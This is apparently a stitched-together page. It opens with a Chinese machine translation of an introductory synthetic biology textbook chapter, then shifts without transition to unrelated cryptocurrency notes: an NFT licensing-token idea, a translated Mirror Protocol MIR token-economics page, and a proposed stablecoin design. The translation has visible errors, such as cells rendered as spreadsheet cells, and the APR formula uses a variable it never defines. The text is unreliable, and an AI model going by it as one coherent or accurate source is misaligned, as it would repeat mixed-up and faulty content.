什么是合成生物学？

在最基本的层面上，合成生物学家或生物建设者想要改造活细胞来做一些有用的事情。例如，治疗疾病、感知环境中的有毒化合物或生产有价值的药物。如图 1-1 所示，合成生物学家通过改变生物体的 DNA 来实现这些结果，使其行为“符合规范”，正如工程师所说的那样——基本上，它按照生物建造者的意愿行事。

图 1-1 合成生物学的目标。合成生物学旨在编写 DNA（左），指导细胞或有机体（右）按照设计规范行事。

我们可以将细胞视为复杂的微型工厂。DNA 提供指令以制造工厂中的所有机器——蛋白质、其他核酸、多组分大分子复合物等等。这些“机器”然后执行细胞的工作。有机体的天然 DNA 使细胞能够满足其基本的生存和繁殖需求。合成生物学家可以改变细胞的 DNA，使细胞具有新的有用功能（图 1-2）。我们将在本章后面更多地讨论研究人员如何改变生物体的 DNA。

图 1-2 当今的合成生物学。目前，合成生物学家通常会设计一部分 DNA（左）并将其与现有的细胞或有机体（中）结合，以便新的细胞或有机体（右）按照设计规范行事。

最终，合成生物学家希望能够使用设计的 DNA 从头开始构建专门的生物体。该领域还没有。目前，大多数努力都涉及对已经存在的生物体进行改造，而不是构建全新的生物体以新的方式行事。

为什么选择合成生物学？

合成生物学家所针对的许多挑战可以通过其他工程学科来解决，例如电气、化学或机械工程，但合成生物学的解决方案提供了一些独特的优势。最引人注目的是，细胞可以复制自己。汽车不能自我复制——你需要一个工厂来制造汽车。此外，即使营养很少，一些生物也可以非常迅速地复制自己。例如，在实验室中，大肠杆菌可以在大约 30 分钟内复制和分裂。因此，合成生物学是生产大量特定产品的一种有吸引力的方法，因为我们可以相对容易地培养程序化细胞以满足大规模生产的需求。单元还充当生产的物理工厂，提供其他工程解决方案应对相同挑战所需的大部分“实体”基础设施。最后，快速分裂单元的使用还有助于原型设计和测试，这对于设计周期非常重要，稍后我们将更详细地讨论。其次，细胞包含执行许多复杂任务的生物机制——例如特定的化学反应——否则即使不是不可能，也很难完成。而且，他们以纳米级的精度做到这一点，这在任何传统的制造设施中都难以复制。此外，当它们的纳米级机器发生故障时，细胞具有自我修复的机制，至少在一定程度上，这使它们比更典型的基于工厂的生产过程具有更大的优势。细胞复杂性也引入了需要考虑的障碍，但它的潜在效用是巨大的。第三，合成生物学具有为许多难题提供环保解决方案的潜力。必然地，合成生物学应用的副产品通常是无毒的，因为大多数有毒化合物会杀死正在工作的细胞。此外，利用天然细胞系统通常会产生经济的过程。今天的化合物工业生产消耗大量能源，通常会产生大量对环境有害的废物，并且经常需要高温或高压。超越它作为解决现实世界挑战的有用性，合成生物学也是了解更多自然系统运作的绝妙方法。随着研究人员剖析日益复杂的细胞功能，他们可以使用合成生物学从其他角度检验他们的假设。例如，如果他们的生化研究结果表明某种蛋白质充当一种开/关开关，他们可以通过用已知会表现出开/关行为的蛋白质替换现有蛋白质来测试这一结果。如果新的合成系统和天然系统的行为相似，则该结果提供了进一步的证据，表明天然蛋白质就像研究人员所怀疑的那样。你可能想知道：我们对细胞的了解是否足以可靠地设计它们，如果没有，我们真的应该尝试吗？有许多合成生物学特有的合理恐惧和担忧。诚然，诸如灯泡和电报之类的其他发明是在没有完全了解电物理的情况下设计的，但生命工程除了传统工程领域面临的挑战之外，还面临着额外的实践、道德和伦理挑战。例如，进化可以使经过精心编程的 DNA 发生突变，从而破坏细胞的工程功能。如果合成细胞以意想不到的方式与该生态系统中的现有生物相互作用，则在环境中复制合成细胞可能会造成危险。而且，当我们开始将细胞视为为执行我们的指令而建造的微型活机器时，合成生物学引发了一些哲学问题。任何要求我们重新考虑与自然世界互动的技术都必须谨慎处理。研究人员、生物伦理学家和政府组织正在积极讨论这些问题，并努力以负责任的方式开发合成生物学，从而改善生活世界。我们在生物伦理学基础章节中更深入地探讨了这些问题。我们仍处于这一发展学科的早期阶段。如前所述，合成生物学家还不能从零开始制造生物体。目前，它们主要在现有生物的框架内工作。此外，迄今为止的研究主要针对相对简单的单细胞生物，例如细菌（尤其是大肠杆菌）和酵母（S. cerevisiae），尽管在植物和哺乳动物细胞等更复杂的系统中也取得了一些早期成功。然而，随着该领域的发展，工程越来越复杂的系统将进一步扩大合成生物学的潜在应用和益处。

上下文中的合成生物学

合成生物学方法可能会让你想起基因工程，研究人员在基因工程中对生物体的基因组进行小规模的合理改变——例如从小鼠身上移除基因或将人类基因添加到果蝇中——以研究系统的行为。合成生物学家使用许多与基因工程师相同的工具，我们将在后面更详细地讨论，但合成生物学和基因工程在他们旨在做出这些改变的规模上有所不同。遗传工程师通常会引入一两个小的变化来研究特定系统，而合成生物学家的目标是设计新的基因组并大规模重新设计现有的基因组。合成生物学潜在规模的一个说明性（尽管是幻想）的例子是对一棵树的基因重新编程，以便它根据合成生物学家设计的基因指令长成一个功能齐全的房子。这样的系统将利用树木的自然程序（通过从环境中吸收一些养分来生长）并将其用于社会需求。然而，对一棵树进行基因编程以长成一所房子，目前远远超出了传统基因工程的规模以及合成生物学的能力。

为了完成如此大规模的设计目标，合成生物学家正在建立一个结构化的工程和设计学科，我们将在下一节介绍其原理。合成生物学家还利用生物化学家、分子生物学家和遗传学家多年来获得的有关生物系统如何工作的丰富知识。具体而言，科学研究产生了：

• 合理表征的模型系统，例如大肠杆菌、酵母、藻类和各种类型的哺乳动物细胞培养物，为合成生物学探索提供了坚实的基础
• 来自大量生物体的丰富序列数据，包括细菌、人类、蚊子、鸡、狮子、老鼠等等，以及用于序列比较和分析的工具
• 移动、重新排序和合成 DNA 以创建新序列的分子工具

合成生物学家将这些发现和成功作为他们可以应用工程思维来解决现实世界问题的基础。合成生物学的跨学科性质是由图 1-3 建议。

图 1-3 合成生物学的跨学科性质。合成生物学家将分子生物学（左）的丰富知识和技术与工程原理（右）相结合，包括作为工程学科标志的设计-建造-测试周期。

工程与设计概论

工程师根据设计规范构建必须一致运行的复杂系统。为了实现他们的目标，工程师在设计、构建和测试阶段循环，通常对不同的设计进行快速原型设计，以找到最有希望的方向。这个过程类似于科学方法，研究人员通过假设、实验和分析循环。主要区别在于，科学方法旨在了解事物如何工作的精确细节，而工程方法不会关注设计工作的原因，只要原型测试成功即可。这些差异在“生物设计基础”一章中进行了更深入的讨论。在这里，我们介绍一个非常简单的例子来展示不同类型的工程师如何解决一个问题：给室内植物浇水。通过考虑不同的工程学科如何解决这个问题，我们将介绍一些设计基础，并说明合成生物学家如何应用类似的思维方式和方法。

“传统”工程解决方案

有些人天生就有绿拇指，但有些人需要一些额外的帮助；否则，他们的植物最终会看起来干瘪干瘪。不同类型的工程师会根据他们的专业知识以不同的方式解决这个植物浇水问题。例如，机械工程师可能会设计一个圆底重量不均匀的花盆。当底部的水箱装满水时，它会起到平衡的作用，使锅保持笔直。随着植物吸收水分，配重减少，花盆开始翻倒。这个视觉指示器将明显地提醒所有者植物需要水。也许倾斜的植物甚至可以打开水龙头给自己浇水。通过对系统进行工程反馈，当植物被浇水时，花盆会重新站立起来，从而形成一个闭环控制系统。

这种设计的一个潜在并发症是一些植物比其他植物需要更多的水，因此设计师可能需要在底部创建许多不同重量的不同花盆，园丁们需要确保为他们的植物购买正确的花盆.这些类型的考虑是设计过程中不可或缺的。没有设计是完美的，在考虑最佳实施方式时，了解任何提议设计的优势和局限性非常重要。

电气工程师可能会提出一种完全不同的浇水问题解决方案，其中涉及电子湿度传感器和自动浇水。她的系统可能由许多电子部件组成：电线、电阻器、电容器、湿度传感器、电路板等等。不同的部分可以协同工作来监控系统，确定植物何时需要水，然后在需要时提供水。

这种电气工程解决方案需要标准化，这是所有工程领域的一项重要原则，我们将在本章后面讨论这一原则。在这个植物浇水示例中，每个标准化的电子组件都由它可以执行的特定独立功能定义。这些组件的制造符合一系列行业标准。基本部件的这种标准化使得它们可以轻松可靠地相互连接，而不会影响它们的行为。这种标准化简化了设计，使工程师能够了解某个部件的行为方式以及它如何与其他部件结合以产生所需的结果。它还简化了制造，使工厂能够为数百万种不同的产品生产数百万个相同的电阻器。合成生物学尚未达到这种标准化水平，但正试图朝那个方向发展。

工程工具包

这两个针对植物浇水挑战的传统工程解决方案示例说明了如何使用多种设计来解决即使是相对简单的问题。这些方法在很大程度上受到每个工程学科中可用的“工具包”的支配和影响。一般来说，每种方法都来自一个工具包，其中包含几个不同的零件，例如需要组装在一起的螺母和螺栓，以及一些组装零件的方法，例如用于组装零件的锤子和螺丝刀。该工具包还包含指导每个领域的概念和想法。工具包的特定元素在不同学科之间往往有很大差异。例如，机械工程师的工具包包含具有多种属性的材料即金属、塑料和混凝土，以及操作材料的工具和方法，包括锯和焊机。重力是他们在设计中使用的概念的一个例子。另一方面，电气工程师拥有完全不同的工具包。他们的零件包括电线、电阻器、电容器和电路板，并且他们开发了自己的高度专业化的制造工艺来制造和组合这些零件。电气工程理念进一步利用了对电信号的现代理解。为了使合成生物学成为一门成熟的工程学科，合成生物学家必须定义他们的工具包。与机械工程和电气工程一样，这些工具将包括需要组装在一起的零件以及组装它们的方法；当然，这些部分和方法将特定于生物学。合成生物学工具包中的许多工具都源自分子生物学。在下一节中，我们将介绍这些先前存在的工具包的一些组件，并探讨它们是如何在合成生物学工具包中实现的。

合成生物学工具包

为了探索合成生物学工具包，让我们首先考虑生物学家如何应对植物浇水挑战。从广义上讲，他们会使用基因工具来改变植物本身。这种方法可以采取许多不同的形式。例如，一种解决方案可能使用在变色龙中发现的一种基因，该基因负责根据压力改变颜色。这个基因有可能被插入到植物中；因此，它们可以改变颜色以在需要水时提醒我们。这种方法类似于机械工程师添加视觉指示器（锅翻倒）以帮助所有者记住植物何时需要水的方法。也可能有一种更类似于电气工程解决方案的生物解决方案，它使工厂的所有者完全无需提供水。如果有可能从仙人掌植物中分离出一两个基因——或者甚至更古怪的是，从骆驼中分离出一两个基因，以帮助这些生物体在沙漠栖息地承受非常低的水供应？插入植物中的这些基因也可能帮助它们在很少的水的情况下生存。这两种解决方案都可以用今天的分子生物学工具来解决，但是这些类型的小修改不符合合成生物学家的目标，即大规模基因组操作的目标，而这对于诸如从种子。这种批发基因组设计需要一个完整的工程工具包。这样的工具包必须从分子生物学和基因工程的既定领域的贡献开始并建立在这些贡献之上。

分子生物学工具包

分子生物学家多年来一直在开发以不同方式操纵 DNA 的方法。以下是在合成生物学中广泛使用的三种最关键和最成熟的技术：

• 读取 DNA 代码
• 复制现有的DNA序列
• 将特定的 DNA 序列插入现有的 DNA 链中

这些技术经过多年的分子生物学研究已经成熟，研究人员继续开发新技术来改进这些过程。 Frederick Sanger 博士和 Walter Gilbert 博士于 1977 年使用链终止化学开发了强大的 DNA 测序技术，这使得准确确定长 DNA 链中 Gs、As、Ts 和 Cs 的模式成为可能。 1983 年，当 Kary Mullis 博士开发了聚合酶链式反应 (PCR) 时，实验室中现有 DNA 序列的常规复制开始了。 PCR 是一种强大的方法，它使用细胞蛋白质复制 DNA 和研究人员提供的遗传模板来合成大量特定的 DNA 序列。最后，Paul Berg 博士、Stanley Cohen 博士和 Herbert Boyer 博士在 1970 年代开发了重组 DNA (rDNA) 技术，研究人员可以利用该技术轻松而精确地结合来自不同来源的 DNA 序列，包括不同的生物体，主要基于各种天然存在的蛋白质称为限制性内切酶，可在特定序列切割 DNA。这些方法的灵感来自并使用了自然发生的细胞过程的工具。表 1-1 说明了这些相似之处。

表 1-1 分子生物学工具包及其自然起源

分子生物学

DNA 复制是一种自然发生的细胞过程，它从现有的 DNA 模板中产生新的 DNA 序列，通常是为了产生新的遗传物质，以便细胞可以分裂。这个过程因人而异在不同的物种中，可能需要许多蛋白质来解开 DNA 并启动复制，但关键要求如下：

DNA聚合酶

将核苷酸添加到生长链中的酶。

DNA引物

这是一条已经合成的 DNA 短链，与要复制的序列的开头结合（DNA 聚合酶只能将新碱基添加到现有链上）。

游离核苷酸碱基

游离的 A、T、C 和 G 核苷酸，统称为 dNTP，可在细胞中添加到生长链中。

Sanger测序是一种确定DNA片段序列的实验室技术。研究人员将他们想要测序的 DNA 与 DNA 引物、DNA 聚合酶和 dNTP 混合以开始复制。混合物中还添加了少量修饰的碱基，一旦掺入就会停止链伸长。这些修饰的碱基也被标记，通常带有放射性或荧光，每个碱基都有一个独特的标签。中断复制过程产生的片段可以根据大小进行排序，并根据每个片段末端修饰碱基上的标签读取序列。

PCR 是一种实验室技术，用于创建现有 DNA 片段的多个副本。这个过程模拟了自然的 DNA 复制。研究人员将所需的 DNA（称为“模板”）、指定复制开始和结束位置的引物、DNA 聚合酶和 dNTP 结合起来。然后将混合物循环通过促进不同步骤的不同温度。首先，将混合物加热至高温，使所有 DNA 碱基不成对。然后降低温度，使引物与模板 DNA 结合。最后，稍微升高温度以使 DNA 聚合酶发挥作用。该过程重复多次以创建所需 DNA 片段的许多副本。

限制性酶是稀有的天然存在的酶，也可用于实验室，可在特定碱基序列处切割 DNA，以产生钝端或“粘性”末端；也就是说，在双链 DNA 末端有几个未配对的碱基。当具有互补粘性末端的 DNA 片段结合在一起时，它们会相互结合，形成一个新的序列，如图 1-4 所示。

图 1-4 用限制性内切酶切割的 DNA。黑色和蓝色条对代表双链 DNA，颜色编码以显示它已被限制性内切酶切割以留下互补的“粘性末端”（左）或“平末端”（右），可以重新连接，如图所示。

质粒是一种小的圆形 DNA 片段，最常见于细菌中，独立于染色体 DNA 持续存在于细胞中。它们在分子生物学中用于将设计的遗传系统转移到感兴趣的细胞中。当用于此目的时，它们通常被称为“向量”。

为合成生物学扩展的工具包

尽管这些方法已经存在很多年并且在研究中得到了很好的应用，但它们对于合成生物学来说还不够。例如，它们可能足以将变色龙的基因插入植物中，但它们无法使植物可靠地重新编程以长成两居室、两间浴室的房子。因此，我们使用术语基因工程而不是合成生物学来指代宿主生物体中相对小规模的基因操作，可能最多改变少数几个基因。

另一方面，合成生物学渴望编写和重写整个基因程序以创造有用的功能和产品。为了实现这些更雄心勃勃的工程目标，合成生物学家将他们的工具包扩展到传统基因工程之外，还包括来自更成熟的工程学科的设计原则。他们会经常借鉴工程语言，这为思考设计提供了有用的框架。

这些额外的工具在很大程度上仍处于开发阶段，包括：标准化、抽象化和从头 DNA 合成。标准化和抽象都直接来自其他工程学科的工具包，而 DNA 合成是合成生物学独有的工程工具。稍后我们将更详细地描述这些主题，但以下是简要定义：

DNA合成

这是一种在没有预先存在的物理模板的情况下化学生产 DNA 链的过程，在合成生物学中的使用范围比分子生物学所需的要广泛得多。

标准化

这种方法旨在生成一组组件，这些组件可能在多个系统中有用，并且可以针对不同的结果进行重新组合。

抽象

这是构建复杂系统时管理详细信息的工具。有了它，设计人员可以“完成工作”，而无需牢记系统的每个细节是如何工作的。在实践中，工程师使用不同的级别抽象取决于它们在设计-构建-测试周期中的位置。

DNA合成

DNA 可以通过一系列简单的化学步骤产生，这些步骤与将一个构建块添加到另一个构建块的任何一组化学反应没有根本不同。在 DNA 的情况下，这些构件是核苷酸，但由构件制成的聚合物的其他例子包括由氨基酸制成的蛋白质和由乙烯单体制成的聚乙烯。在细胞中，DNA 是使用大分子复合物合成的，这些复合物将每个后续核苷酸添加到现有的 DNA 链中。在实验室中，化学家已经开发出替代方法，通过将核苷酸化学附加到不断增长的核苷酸链上来生产 DNA。无论是在细胞中还是在实验室中制造，合成的 DNA 都必须具有正确的序列。在细胞中，DNA 序列基于提供序列信息的现有模板链。另一方面，合成生物学家经常设计不存在模板的新序列。当没有模板链可跟随时，它们通过使用数字序列信息确定合成 DNA 的核苷酸顺序。借助这项技术，合成生物学家可以编写以前从未编写过的新 DNA 序列。

通过这种方法可以产生的 DNA 链的长度存在一些限制，但最近 Craig Venter 博士及其同事合成了一个完整的功能基因组达到了一个里程碑。这一成就同时证明了化学 DNA 合成作为合成生物学工具包的核心组成部分的潜力，并引发了对其使用的伦理担忧。研究人员使用化学合成重建了蕈状支原体细菌的基因组，以生成多个短 DNA 片段。他们在序列中添加了一些他们称之为“水印”的小变异，然后将这种合成的 DNA 插入到微生物（面包酵母）中，并在那里组装成完整的基因组。最后，他们将基因组移植到山羊分枝杆菌中，替换了该细菌现有的基因组，基本上将山羊分枝杆菌的外壳转化为蕈状分枝杆菌。这一进展听起来很像玛丽雪莱著名小说作品中的弗兰肯斯坦怪物，刺激了总统生物伦理问题研究委员会，并导致了一份报告，新方向：合成生物学和新兴技术的伦理，该报告涉及与合成生物学和成熟的 DNA 合成技术相关的潜在伦理问题。

标准化

标准化是任何工程学科的重要组成部分，因为它有助于设计人员能够重用零件、与其他团队合作并高效工作。对于电气工程，这种标准化意味着设计人员可以相对容易地将各个部件连接在一起，以便他们可以相互“交谈”。对于合成生物学家来说，标准化使 DNA 片段能够在物理和功能上相互连接。组装的物理标准使所有 DNA 部件都可以通过通用策略连接到其他部件。这类似于机械工程师可以将任何螺母连接到任何螺栓的方式，因为这些部件都使用标准尺寸的螺纹。细胞环境和生物系统的复杂性使标准组合变得困难。尽管如此，人们仍在努力定义 DNA 组装的标准，以便合成生物学家拥有一组可靠的部件，并在他们想要使用它们进行构建时找到标准化的遗传元件，如启动子或阻遏物。 DNA 部分的物理标准化在 DNA 工程基础章节中有更详细的讨论。但是，成功地将各个部分组合在一起并不能保证它们会按预期工作或可以互换。另一个考虑因素是功能标准化，这意味着无论在什么情况下，遗传部分都将可靠地编码特定行为。合成生物学中实现这一可预测功能目标的一种方法是用数字术语表征细胞的行为：一段 DNA 要么“开启”（即由细胞表达），要么“关闭”（未表达）。我们生活中的所有电子产品都熟悉这种数字原理。我们的电视和手机要么开着（即使它们正在“睡觉”），要么关着。这种全有或全无的行为使得连接不同的部分变得相对容易。当电视接收到遥控器的输入以打开时，它会激活并提供视频和音频输出。同样的原理也适用于构成电路的组件：每个组件都接收输入，“开”或“关”，这决定了它的输出，“开”或“关”。这是对电路的高度简化的描述，但由于“开”和“关”状态是跨部件标准化的，电气工程师可以连接部件并预测e 电路的行为。合成生物学家也在尝试开发类似的“数字标准”，将基因或酶描述为“开启”或“关闭”。当然，大多数生物行为（如转录或酶活性）并不是完全数字化的，但只要我们小心，这个类比就足够了。使用这种方法，我们可以使用其他电气工程模式，例如接线图和真值表，来帮助我们设计系统。这些工具在“生物设计基础”一章中有更详细的描述。

iGEM

国际基因工程机器 (iGEM) 竞赛将标准化概念应用于 DNA 部分。这场比赛汇集了来自世界各地的大学生和高中生来回答这个问题：“简单的生物系统能否由标准的、可互换的部件构建并在活细胞中运行？”第一场比赛于 2004 年举行，起初只有五所学校和少数学生，但到 2014 年，比赛共有来自 34 个国家的 295 支队伍参赛。每个 iGEM 团队都面临着使用 iGEM 标准生物部件注册表中的标准化部件设计和构建新生物系统的挑战。这些部件具有标准化的连接点，允许它们通过一致且可重复使用的装配方案进行物理连接。团队只能使用四种限制性内切酶和标准化 DNA 部分的 iGEM 库来组装遗传电路并进行更复杂的遗传元素排列。标准生物部件的重复使用是来自不同学校的团队可以共享试剂并加速每个人在他们的夏季项目中取得进展的一种方式。我们在 BioBuilder 计划中进一步探索了几个 iGEM 项目，一个涉及气味，一个涉及颜色。

抽象

通过抽象，合成生物学家可以设计复杂的部件、设备和系统，而不必担心它们如何工作的每一个细节。相反，重点是最终目标，即最终的系统输出或行为。在实践中，任何新系统的设计都会非常自然地使用抽象级别。在设计过程的开始，我们经常会广泛地考虑可能的解决方案，而很少担心它们的实现细节。随着问题和解决方案被分解成更小的部分并变得更加明确，一些早期的抽象变得具体，以便我们可以实际构建和测试设计的系统。抽象对于合成生物学尤其重要，因为细胞环境和细胞过程非常复杂。如果我们试图了解每一个新设计的每一个细节，我们将不得不缓慢地通过我们的想法。相反，我们可以将细菌细胞视为“黑匣子”（见图 1-5）。换句话说，我们不需要纠结于细胞内每条通路的细节，尤其是在开发初始设计时。

图 1-5 将单元格视为黑盒。合成生物学是通过抽象实现的，它允许在不考虑细胞内每条通路的所有细节的情况下对细胞进行工程改造。

图 1-6 展示了抽象的层次结构。最高抽象层是系统，即我们的蜂窝黑匣子。在该系统中，我们可能对开发具有特定功能的设备感兴趣，例如感应环境化学物质并产生特定的输出气味作为响应。当我们决定我们希望我们的设备如何工作时，我们可以开始考虑创建每个设备所需的不同部分；例如，一种感知环境化学物质的方法以及一种控制气味输出的反应方法。最后，在抽象层次结构的最低级别——根本不是抽象的——是我们手头需要作为部分使用的实际基因序列。通过将设计过程分解为这些不同的抽象层，我们将问题分成可以更有效地解决的小块。我们将详细介绍这些抽象级别中的每一个，并在“生物设计基础”一章中提供如何在设计过程中实现它们的具体示例。

图 1-6 抽象层次结构。抽象可以支持复杂的系统设计。这种抽象层次是可用于合成生物学的众多层次之一。这里的最高抽象级别是整个系统，然后可以将其分解为由某些部分组成的特定设备。这里最细粒度的抽象级别描述了实现设计所需的 DNA 序列。

包起来

在本章中，我们专注于合成生物学的力量，以产生可以提供有用产品或服务的新系统。我们介绍了合成生物学的基本概念，解释了该领域与传统生物化学和分子生物学的不同之处，以及一些来自已建立工程领域的基本原则为合成生物学家设计和构建活生物技术的方式提供了依据。合成生物学所支持的工程和设计方法也具有更广泛的意义。正如物理学家理查德·费曼所说：“我不能创造的东西，我不明白。”尽管我们在理解生物系统方面确实取得了长足的进步，但我们还不能建立全新的系统。即使是最基本的生物过程和系统，仍有很多东西需要学习，合成生物学也为这项工作提供了一个强大的新工具。

额外阅读和资源

• Alberts, B. 等，细胞的分子生物学，第 4 版。纽约：Garland Science，2002 年。开放获取：http://bit.ly/mol_bio_of_the_cell 。
• Endy, D. 工程生物学基础。自然 2005；438: 449-53。
• Gibson, D. 等，创建由化学合成基因组控制的细菌细胞。科学 2010；329: 52-6。
• 总统生物伦理问题研究委员会报告（2010 年）“新方向：合成生物学和新兴技术的伦理”（ http://bioethics.gov/synthetic-biology-report ）。
• 网站：TerreformOne.org ( http://bit.ly/tree_hab ) 设计的“Fab Tree Hab”。
• 网站：rDNA 的历史 ( http://bit.ly/berg_boyer_cohen )。
• 网站：iGEM ( http://www.igem.org/Main_Page )。
• 网站：1980 年诺贝尔化学奖 ( http://bit.ly/chem_nobel_1980 )。

复制引用许可代币：探索学术论文发表的代币化新方法

我们需要作为 NFT 复制引用许可证明的 ERC-1155 代币 CQLT。对这种复制引用许可币 CQLT 本身的需求是从 NFT 版权证明的需求中衍生而来的。它的发行由 NFT 所有者完全控制。它的精度为个位数，总量为人类人口数量，或者限量，或者不限总量。拥有一个这种复制引用许可币的人就拥有对于 NFT 进行一次复制引用的权利。NFT 作为异质代币，具有唯一性，流动性差，只在收藏品拍卖市场进行交易。

We need the ERC-1155 Copy and Quote License Token (CQLT) as a proof of NFT Copy and Quote License. The need for CQLTs is derived from the need for proof of copyright in NFTs. Its issuance is fully controlled by the NFT owner. Its precision is a single digit, and the total supply is either limited or unlimited, and can be as large as the human population. The person who owns one such CQLT has the right to copy and quote the NFT once. As a Non-Fungible Token, NFT is unique and has poor liquidity, and is only traded in the collectible auction market.

• 不断深入理解 Git Arweave Neo4j 的底层原理。
  • https://docs.gitopia.com/installation/
  • https://git-scm.com/book/zh/v2/Git-内部原理-底层命令与上层命令
  • 从常见操作解释 git 的底层原理
• 我会参考 mirror.xyz 的实现。我想把 mirror.xyz 先移植到 Terra 生态之下。
  • Building NFT version control is so boring. => Mirror Writing: https://mirror.xyz/ | Academic Writing

Mirror Token (MIR)

原文：https://docs.mirror.finance/protocol/mirror-token-mir

镜像代币（MIR）是镜像协议的治理代币。目前，它必须被质押才能对活跃的提案进行投票，并且需要作为押金才能进行新的治理提案。在 Mirror 的未来迭代中，它将为协议提供进一步的用途，增加其效用和价值。

持有 MIR 代币的用户还可以通过从协议中的 CDP 头寸提取抵押品获得 MIR 奖励。

MIR 还用于激励用户通过质押 LP 代币来获得收益，这些 LP 代币是通过为 MIR 和 mAssets 提供流动性而铸造的。通过年度通胀所新铸造的 MIR 用来向用户支付收益，这会逐渐增加 MIR 的总供应量，直到第 4 年年底。

镜像代币供应

计划在 4 年内分发总共 370,575,000 个 MIR 代币。除此之外，不会再有新的 MIR 代币被引入供应。

累积分配时间表（以百万计）

镜像协议创世时共有 54.9M 个代币可用。这些代币的分配方式如下：

• UNI 空投：16.66%（9.15M）代币将空投给 UNI 持有者。
• LUNA 质押者空投：16.66%（9.15M）代币将空投给 LUNA 质押者。
• 社区池：66.66% (36.6M) 代币将分配给社区池。

由于通货膨胀，MIR 代币的总供应量将增加 4 年，直到总代币供应量达到 370.575M。

第 4 年末的分配结构如下所示：

• 空投：最初分配给 UNI 持有者和 LUNA 质押者的空投数量现在将占代币总供应量的 4.9%（18.3M）。
• LUNA 质押奖励：4.9%（18.3M）将在镜像协议启动后的第一年分配给 LUNA 质押者。 MIR 将仅在第一年每 100,000 个区块（大约每周一次）分发给 Luna 质押者，从区块高度 920,000 开始。将每 100,000 个区块拍摄一次快照，以确定谁有资格获得质押奖励分配。
• mAsset LP Staking：到第 4 年年底，45.1% (167.27M) 代币将分配给所有 mAsset 和 mAsset (mETH) 质押池。代币每天分配给每个质押池（最初每个 Mirror 和 mETH 13 对），基于与其他资产相比，它们的权重。
• MIR LP Staking：到第 4 年底，10.4% (38.6M) 代币平均分配到 MIR-UST 和 MIR-UST (mETH) 质押池。MIR-UST 对的初始权重为 300，大于权重 mAsset 数量（第一批 mAsset 有 100 个，列入白名单的 mAsset 有 30 个权重）。
• 社区池：到第 4 年年底，将有 34.6%（128.1M）的 MIR 总供应量分配给社区池。

分配率（通货膨胀）

MIR 代币的通货膨胀率被设计为每年逐渐下降，直到在第 4 年年底达到 370.575M。在第 4 年结束后，将不再通过通货膨胀铸造 MIR 代币。

MIR 质押奖励

本节讨论 MIR 代币的质押奖励，这些奖励来自用于从市场回购 MIR 的交易费用。质押 LP 和 sLP 代币也会产生 MIR 奖励，这些奖励直接来自每个区块创建的新 MIR 代币。点击此处了解详情。

来自协议费用

MIR 代币质押者在每个区块收到 MIR 代币奖励，协议费用是从 CDP 提款产生的。协议费用从 CDP 抵押品中收取，并在发送到 Collector 合约后出售给 TerraUSD，以通过 Terraswap 购买 MIR。然后将 MIR 代币作为奖励分配给 MIR 质押者和选民，并按总股份的百分比进行分配。这个过程通过产生购买压力来平衡新 MIR 的产生。

来自提案创建费

每当创建新的治理提案时，都必须支付 MIR 代币的初始押金。如果投票未达到投票法定人数，则该押金将按比例分配给所有 MIR 质押者。

来自投票奖励

根据尚未达到投票法定人数的投票产生的协议费用和投票创建费用，voter_weight 用于确定在正在进行的投票中投票的用户之间分配的 MIR 代币数量。如果包括质押和投票奖励的总 MIR 治理奖励是 $R_{total}$ 是，

$$R_{passive}+R_{vote}$$

这里 $R_{passive}$ 是未投票的 MIR 质押者的奖励，并且 $R_{vote}$ 是对正在进行的提案已经投票了的用户的奖励。如果 voter_weight 是 $W_{vote}$, 并且对于第 $i$ 个提案，个人和全体所投的 MIR 是 $m_{\text{i}}$ 和 $M_{\text{i}}$，投票奖励 $R_{\text{vote}}$ 是，

$$\sum_{i=1}^n \frac{m_{\text{i}}}{M_{\text{i}}} \frac{W_{\text{vote}}R_{\text{gov}}}{n}$$

年利率计算

注意由于大多数 mAssets 的协议费用仅在其基础现实世界资产的交易时间内产生，因此在周末和节假日分配的实际奖励会低得多。

Mirror Web App 显示 MIR 质押奖励的年度百分比率。由于协议费用的波动性，MIR 质押 APR 计算使用过去 15 天每天的平均奖励。

如果第 $i$ 天给 MIR 质押者的奖励为 $r_i$，总 MIR 质押量为 $M$，MIR 质押（365 天）的年化百分比为，

$${\sum_{i=1}^{15}{m_i} \over M} \times 365$$

其中应用了最近 15 天的奖励分配信息。此 APR 是在假设用户已对所有正在进行的治理提案进行投票的假设下计算的。

The project we want to do is called “typography” or “digitypography”. The purpose is to build a new stablecoin system. ＄Typography and ＄GoodBit is the main currency pair in the system. The stabilization mechanism is to control the supply of ＄GoodBit by burning a certain amount of ＄Typography to mint one ＄GoodBit or minting a certain amount of ＄Typography to burn one ＄GoodBit, so that one ＄GoodBit can be paid on average for the purpose of copying and quoting one bit of NFT content. Specifically, the “General Knowledge Graph” should be implemented in the form of “Directed Acyclic Graph”, and version control should be implemented for all NFT content in the system. Each specific version of NFT is similar to one commit in git version control system. The owner of the NFT can issue the corresponding CQLTs (Copy and Quote License Tokens). Others can buy and burn multiple different CQLTs to mint their own NFT. This new NFT is then connected as a successor node to the corresponding NFTs of those CQLTs, so as to realize the historical proof of NFT merges and changes. This huge NFT graph is stored in a permanent way. And then all the transaction records of CQLTs and ＄GoodBits are used to control the issuance of ＄GoodBits. Specifically, we need to track the circulation of each CQLT. Each CQLT has a price in ＄GoodBit based on its latest transaction or destruction record. Track all the CQLTs, the sum of their prices in ＄GoodBits, divided by the sum of the bits of their corresponding NFT content, we can obtain the average price in ＄GoodBit for copying and quoting one bit of NFT content on average within the whole system. In addition, we know the price of one ＄GoodBit in ＄Typography in the trading market of ＄GoodBit and ＄Typography. Therefore, we can calculate the average price in ＄Typography for copying and quoting one bit. The stability mechanism of the whole system is to achieve the purpose of adjusting the average price of copying and quoting one bit to one ＄GoodBit by allowing a two-way free burning and minting of one ＄GoodBit with a certain amount of ＄Typography required for copying and quoting one bit on average.

人类走出「前商品货币」的阶段经历了上千年，走出「商品货币」的阶段经历了约 200 年，目前正经历「信用货币」的阶段，至今时间约为 50 年。

加密货币行业以 2015 年 Bitfinex 上线 USDT 交易山寨币取代了 BTC 作为山寨币交易对为时间点，标志着行业已经走出了「前商品货币」的阶段；目前 Binance 交易所发行了自己的 BUSD，Terra 发行了 UST，以及诸如 MIM、OHM 等算法稳定币，标志着行业逐渐进入文中「商品货币」的阶段；可以预见未来不管监管的尺度松紧，行业一定会进入文中「信用货币」的阶段。¹

¹ => STABLECOIN AS A WEAPON

